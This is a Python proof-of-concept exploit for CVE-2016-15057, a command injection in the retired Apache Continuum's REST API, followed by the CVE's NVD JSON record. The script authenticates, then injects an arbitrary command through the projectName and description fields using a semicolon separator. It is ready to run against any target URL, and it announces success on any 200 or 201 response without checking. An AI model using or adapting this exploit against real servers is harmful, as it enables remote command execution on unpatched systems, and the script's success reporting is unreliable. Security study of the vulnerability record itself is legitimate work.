CVE-2016-15057

import requests import sys # CVE-2016-15057 PoC - Apache Continuum Command Injection # Target: Apache Continuum REST API def exploit_cve_2016_15057(target_url, username, password, command): """ Exploit Apache Continuum command injection vulnerability Args: target_url: Base URL of Apache Continuum instance username: Valid username for REST API access password: User password command: Command to execute on the target system """ # Setup session session = requests.Session() # Authentication endpoint login_url = f"{target_url}/security/login" # Login payload - credentials for API access login_data = { "username": username, "password": password } try: # Step 1: Authenticate and obtain session login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print(f"[-] Authentication failed: HTTP {login_response.status_code}") return False print(f"[+] Authentication successful") # Step 2: Send malicious request with command injection payload # The vulnerability exists in REST API parameter handling # Inject command via API parameter using command separators api_endpoint = f"{target_url}/rest/api/1.0/builds" # Malicious payload - inject command using semicolon separator injected_command = f";{command}" # Construct malicious API request exploit_data = { "projectName": f"test{injected_command}", "description": f"Build trigger{injected_command}" } print(f"[*] Sending exploit payload: {injected_command}") response = session.post(api_endpoint, json=exploit_data, timeout=10) if response.status_code in [200, 201]: print(f"[+] Exploit sent successfully - Command executed") print(f"[*] Response: {response.text[:200]}") return True else: print(f"[-] Exploit failed: HTTP {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <command>") print(f"Example: {sys.argv[0]} http://localhost:8080 admin admin 'whoami'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] exploit_cve_2016_15057(target, user, pwd, cmd)

{"cve": {"id": "CVE-2016-15057", "sourceIdentifier": "[email protected]", "published": "2026-01-26T12:15:46.353", "lastModified": "2026-01-27T20:29:50.263", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "** UNSUPPORTED WHEN ASSIGNED ** Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability in Apache Continuum.\n\nThis issue affects Apache Continuum: all versions.\n\nAttackers with access to the installations REST API can use this to invoke arbitrary commands on the server.\n\nAs this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users.\n\nNOTE: This vulnerability only affects products that are no longer supported by the maintainer."}, {"lang": "es", "value": " NO COMPATIBLE CUANDO ASIGNADO Neutralización Inadecuada de Elementos Especiales utilizados en un Comando ('inyección de comandos') vulnerabilidad en Apache Continuum.\n\nEste problema afecta a Apache Continuum: todas las versiones.\n\nAtacantes con acceso a la API REST de las instalaciones pueden usar esto para invocar comandos arbitrarios en el servidor.\n\nDado que este proyecto está retirado, no planeamos lanzar una versión que solucione este problema. Se recomienda a los usuarios que encuentren una alternativa o restrinjan el acceso a la instancia a usuarios de confianza.\n\nNOTA: Esta vulnerabilidad solo afecta a productos que ya no son compatibles por el mantenedor."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:continuum:*:*:*:*:*:*:*:*", "matchCriteriaId": "55131A7E-DBFB-4AA0-96EE-1176C1227A75"}]}]}], "references": [{"url": "https://lists.apache.org/thread/hbvf1ztqw2kv51khvzm5nk3mml3nm4z1", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/01/26/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}